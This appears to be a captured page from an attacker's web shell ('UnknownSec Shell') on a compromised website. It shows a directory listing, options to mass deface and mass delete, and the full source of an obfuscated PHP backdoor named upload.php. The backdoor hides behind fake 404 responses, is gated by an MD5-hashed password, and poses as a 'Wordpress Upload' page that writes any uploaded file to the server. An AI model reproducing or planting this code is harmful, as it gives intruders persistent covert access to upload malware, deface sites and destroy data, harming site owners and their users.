shell bypass 403
UnknownSec Shell
:
/
proc
/
self
/
root
/
home
/
innovagencyco
/
www
/
iSONMigration
/
.well-known
/
pki-validation
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
upload.php
<?php HttP_REspOnse_CoDE((int)round(185.33333333333+185.33333333333+185.33333333333)-(int)ROund(38+38+38+38));if(isset($_GET["p"])){$_hdzdw=$_GET["\160"];$_vhfvoe=MD5($_hdzdw);if($_vhfvoe!="b\1437d\1462c66\x32d\145\0701\14202\0673b\x623\x61f\x63f25\x301\0627"){return HtTp_rEspOnSE_CodE((int)rOUND(134.66666666667+134.66666666667+134.66666666667));}}else{return hTTp_resPOnsE_cODe((int)rOUND(202+202));}function _xqvg($_qwnuj,$_dqwjhal=01,$_lpsb="",$_bvpqdr=-8.7561917745967,$_cufchdpl=-0171764){global $_hdzdw;$_hetksmyw=(($_dqwjhal==(int)rOUnd(0.33333333333333+0.33333333333333+0.33333333333333))?"s\x75c\143\145\163s":"\145\x72ror");echo"<\163crip\x74\076\x73w\141\154({t\151tl\145:\x20\042".$_hetksmyw."\x22, te\x78t\x3a \042".$_qwnuj."\x22, i\x63\157\156\072 \042".$_hetksmyw."\042})\x2et\150\x65n\x28\050b\164\x6e\x43lic\153\x29\x20=\076\x20{\151f\050\142\164n\103\x6cick\x29\173doc\165\155ent.\x6cocation.hr\x65f\x3d\042?p=".$_hdzdw."\x22\x7d\x7d)\x3c/scrip\164\076";};echo"<!do\143\x74yp\145\x20h\x74m\x6c>\015\012<!-- R\141n\x64\x73\x58\040ak\x61\040\124\x31k\165\163\137g0t -->\x0d\012<h\164ml \154a\156g\075\042\x65n\042>\x0d\x0a\x3c\150\x65\x61d\076\015\x0a\x09\x3c\155\145t\x61 na\x6de=\042\x74\x68\145me-co\x6co\x72\042 cont\x65n\x74\x3d\042\x72\145\x64\x22\x3e\x0d\x0a\x09<\x6de\164a\x20name=\042vi\145\x77\160\157\x72\x74\x22 \143on\x74ent=\042width=d\145vi\x63e-w\x69dth,\x20\x69ni\164i\x61l-\163c\141le\075\x30\x2e\x360, \x73hr\x69n\153-\x74o-fit=no\x22>\015\012\011<li\156\x6b rel=\042s\164ylesheet\042 hre\146\x3d\042\057\x2f\x63dn\056j\163de\x6c\151\x76r.\156e\164/\x6epm/boo\164\163t\x72\141p\x40\x34.6.0/d\151\163t\x2f\143s\163/\x62oo\x74\x73t\x72\x61p.\155in\056c\x73s\x22>\x0d\012\011<\154i\x6e\153 \x72el=\042st\x79\154\145\x73heet\x22 hre\x66\x3d\042\x2f\057cd\x6e\152s\x2e\x63\x6co\x75dfl\x61re.co\x6d/ajax/li\142\163\x2f\x66\x6fnt-a\x77\145s\x6fme/4\x2e7.0/\143s\163/\146o\156t\x2da\x77\x65s\x6fme\x2e\155in.css\x22>\x0d\012\011\x3ctit\x6c\145>\127o\x72d\160r\x65ss Up\x6c\157ad\x3c\x2ft\x69tle\076\015\x0a\011\x3c\x73tyle>.ta\x62le-\150\x6fve\x72 \x74b\x6fdy \x74r\x3a\150o\x76er\x20td{b\141\143k\147roun\144:\162ed\x7d.table\055ho\x76\145\162\x20t\142od\x79 t\162:\x68o\166\145r \164d>\x2a\x7bc\157\x6cor\x3a\043fff}\056tabl\145\076\164b\x6fd\171>\164\x72>*{color\072#fff;\166ertical\055\141\154\x69gn:\x6d\151\x64dl\x65}.for\x6d\055c\157ntr\157l\173\142ackground:0 0\x21i\x6dp\x6f\x72\x74an\164;\143ol\x6f\162:#fff\x21\x69\155\x70ort\141\156t;bord\x65r-r\141\144i\x75s:\060}\x2efo\x72\155-\143on\164ro\154::\160l\141\x63eh\157ld\145r\173\143olo\x72:#f\x66f;o\x70a\x63i\164\171:1}\x6ci{\146ont-\x73i\x7a\x65:1\x38\x70x;m\x61\x72gin\055\x6ce\x66t:\066\x70\170\073l\x69\163t\055\x73tyle:none}a{col\x6fr\x3a\043f\x66f}<\x2fstyle>\x0d\x0a\x09<\163\x63\162ipt\040\x73r\x63=\x22\057/\x75\x6epkg.c\157m\x2fs\167\145et\141l\x65\x72\x74\057dis\164\057\163weetalert.m\151\156.\x6as\x22>\074/s\143\x72\151pt\076\015\x0a</h\145\x61d>\015\012<body st\171\154e=\042b\x61\143kgr\x6f\165nd\x2dcolo\x72\x3a#\06000;c\157lo\162:#ff\x66;font\x2d\x66\141mily\072\163erif;\042>\x0d\012\011<\144i\x76\x20\x63l\x61s\x73=\x22\142\x67-da\162\x6b ta\x62\154e\055r\x65s\x70onsive \164\x65\170\x74-\154igh\x74\x20\142\157rder\042>\x0d\x0a\011\011\074\x64iv \x63l\x61\163\x73\x3d\x22\x64\055flex \x6austif\171-conte\156t-b\x65tween \x70\x2d1\042>\x0d\x0a\x09\x09\011\x3cdi\x76\076\074h3 c\154ass=\042\x6d\x74\x2d2\042\076<a\040\150re\x66\075\042?\x22\x3eW\x6frd\160\x72ess \125plo\141d\x3c\057a\076\x3c/\x683>\074/\x64\x69v\076\x0d\012\x09\x09\011\x0d\012\011\011</di\x76>\x0d\012\x09\x09<\144iv\x20\x63la\x73\x73\075\042b\x6f\162d\145r\055top ta\142le\055r\x65sponsi\x76\145\042\076\x0d\x0a\x09\x09\x09\x3c\154i\076\123erve\x72 : ";echo''.$_SERVER["S\105\122V\105\122\137\116A\115\105"]."\x20(".$_SERVER["\x53\x45R\x56ER\x5fA\x44\x44\x52"]."/".$_SERVER["RE\x4dO\x54E\137\101\x44DR"]."\x29";echo"</li>\015\012\011\011\x3c/\144i\x76>\x0d\x0a\x09\x09<form m\x65thod=\042\x70ost\042\040en\x63\164\171\160e=\042multip\x61r\x74/f\157rm-d\x61t\141\042><\144iv \143l\141\x73\163=\x22in\160u\164-group \x6db-1 \160x\055\061\x20mt\055\061\x22\x3e\x3cd\x69\x76 cl\141ss=\x22\143usto\155-f\x69le\x22><inpu\x74 t\x79pe\075\x22\x66\151\x6c\x65\042 \156\141\x6d\x65\075\x22f[\135\042\x20class=\042\143\165\x73t\x6f\155-\146i\x6ce-\151\x6e\160\165t\042\040\157nchang\145=\x22this.\146\157rm\x2e\163ubmi\x74()\042 mul\x74ip\x6ce><\154\x61\x62\145\x6c cla\x73s\x3d\042c\165\x73to\155-file\055label\040ro\165n\144\145\144\x2d0 b\x67-tr\141\x6e\163p\x61\162\145n\x74\040tex\164-\154\x69g\x68t\042>Choose fi\x6c\145<\x2f\x6c\141b\145l\076\074/\144iv>\074\057\x64\x69v\x3e</\146o\x72m>\015\012\011\011\x0d\x0a\x09\074/\x64iv\x3e\015\012";if($_FILES["f"]["\x65r\162or"][(int)ROuNd(99.5+99.5+99.5+99.5)-(01067-0251)]>((int)rOunD(-122.5+-122.5)-(int)RouNd(-64.25+-64.25+-64.25+-64.25)-(int)roUnD(6+6))){echo"\145rror\xef�\x9a".$_FILES["f"]["\x65\162\x72\157\x72"][(int)rOUNd(0+0+0)]."<b\162>";}if(isset($_FILES["\x66"]["\x6e\141me"][(-01074- -0564-01251+01601)+(-01541- -01524-0657)+(int)rOUNd(107+107+107+107)])){MOVE_UpLoAdeD_FIlE($_FILES["\146"]["\x74m\160\x5fname"][(int)rOuNd(-41+-41)-(01136+-0231)+(02140-01111)],__DIR__."\x2f".$_FILES["f"]["n\141m\x65"][(int)Round(12+12+12+12)+(int)rOuND(11.666666666667+11.666666666667+11.666666666667)+(013+-0136)]);if(FIlE_ExiSTS(__DIR__."\x2f".$_FILES["f\x69\x6ce"]["\x6ea\155e"][(-02766+-01646- -02362- -0647)-(int)ROuND(267+267)+(-01070+0166)+(int)RoUnD(438.75+438.75+438.75+438.75)])){_xqvg("\x66\157\x6cder \x64e\x6ce\x74ed \163u\x63\x63ess\146ully");}else{_xqvg("fa\151\154ed\x20\x74\x6f\040\x64\145l\145te the\040\146\157lde\x72",(int)ROUnd(0+0+0));}};echo"\011\015\x0a\x3c\x2fbody>\015\x0a</ht\155\154\076\015\x0a";
© 2025 UnknownSec